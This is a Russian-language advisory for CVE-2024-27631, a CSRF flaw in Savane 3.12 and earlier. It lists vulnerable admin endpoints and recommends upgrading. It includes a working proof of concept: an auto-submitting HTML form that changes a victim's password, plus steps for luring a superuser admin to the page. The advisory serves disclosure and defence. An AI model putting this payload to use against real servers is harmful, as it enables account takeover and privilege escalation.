CVE-2024-27631 Сведения об уязвимости

Обзор

В Savane v3.12 и более ранних версиях отсутствие защиты от CSRF в административных функциях может позволить повышение привилегий и/или захват учётной записи. В частности, конечная точка /siteadmin/usergroup.php содержит функциональность для смены паролей и административных флагов других пользователей, что фактически позволяет атакующему сделать себя администратором.

Другие заметные конечные точки, уязвимые к CSRF, включают:

• /support/admin/userperms.php — изменяет права доступа тех, кто может публиковать сообщения в трекере.
• /project/admin/conf-copy.php — перезаписывает существующую конфигурацию группы копией конфигурации другой группы.
• /project/admin/editgroupnotifications.php — редактирует уведомления группы. Приватные элементы могут быть отправлены в публичные списки рассылки.
• /project/admin/useradmin.php — удаляет пользователей из группы.
• /news/admin/index.php — редактирует email-адрес трекера новостей.
• /people/editjob.php — добавляет вакансию для группы.

Классификация CWE: CWE-352: Межсайтовая подделка запроса (CSRF)

Сообщил: Ally Petitt

Затронутый продукт: Savane

Затронутые версии: 3.12 и более ранние

Шаги проверки

Это доказательство концепции (PoC) для смены пароля учётной записи другого пользователя как пути к захвату учётной записи.

1. Выберите пользователя-жертву, чей пароль будет изменён.
2. Запишите их userID со страницы профиля (/users/<username>).
3. Создайте следующую вредоносную веб-страницу, заменив user_id на user ID жертвы и <savane_instance> на корректное доменное имя/адрес хоста.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. Разместите вредоносную HTML-страницу на веб-сервере и отправьте ссылку администратору (для этого он должен находиться в режиме суперпользователя).
5. После того как он перейдёт по ссылке, войдите в учётную запись жертвы, используя очень надёжный пароль Password1!.

Обратите внимание, что этот PoC-скрипт был протестирован в Firefox v103.0 (64-bit).

Меры по устранению

Обновитесь до Savane версии 3.13 или выше. Патч можно найти здесь.